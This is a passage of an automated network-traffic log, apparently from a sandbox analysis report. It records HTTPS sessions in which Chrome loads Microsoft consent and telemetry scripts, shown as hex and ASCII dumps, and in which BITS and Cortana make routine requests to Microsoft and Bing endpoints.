t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-11-20 12:27:51 UTC	16381	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-11-20 12:27:51 UTC	3568	IN	Data Raw: 74 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 Data Ascii: t("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentCha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49735	13.107.246.45	443	2884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:51 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 12:27:51 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:51 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T122751Z-185f5d8b95c68cvnhC1NYCfn7s0000000aag000000000s5h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 12:27:51 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:51 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 12:27:51 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=15498 Date: Wed, 20 Nov 2024 12:27:51 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.8	49741	23.206.229.226	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:52 UTC	2083	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109008217 X-BM-CBT: 1696494873 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 229C124F14F843F693B4EF574DFCAAAB X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109008217 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=7A0479E0E07C4D7D91A8C7552F34E6D4&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&LUT=1696493908190&IPMH=7bc3b11d&IPMID=1696494873321&HV=1696494765; MUID=4E6D5F19647E45969740B90CC0355D4C; _SS=SID=1F4D6C7F4B26664337657FDE4A3767CB&CPID=1696494874312&AC=1&CPH=893a1c21; _EDGE_S=SID=1F4D6C7F4B26664337657FDE4A3767CB
2024-11-20 12:27:52 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-20 12:27:52 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 34 45 36 44 35 46 31 39 36 34 37 45 34 35 39 36 39 37 34 30 42 39 30 43 43 30 33 35 35 44 34 43 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 30 36 38 37 30 43 30 39 41 31 46 37 34 43 39 43 42 33 41 42 46 30 34 30 46 43 39 46 30 41 37 38 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>4E6D5F19647E45969740B90CC0355D4C</CID><Events><E><T>Event.ClientInst</T><IG>06870C09A1F74C9CB3ABF040FC9F0A78</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-11-20 12:27:52 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B8D70B12866D492AB86ED42A287E3FFE Ref B: LAX311000111021 Ref C: 2024-11-20T12:27:52Z Date: Wed, 20 Nov 2024 12:27:52 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.ddd7ce17.1732105672.ad889881

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49742	13.107.246.43	443	2884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:52 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 12:27:52 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:52 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 19338 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4aa39486-701e-007b-0f1a-3b6206000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T122752Z-r1d97b99577kk29chC1TEBemmg0000000900000000001ngz Accept-Ranges: bytes
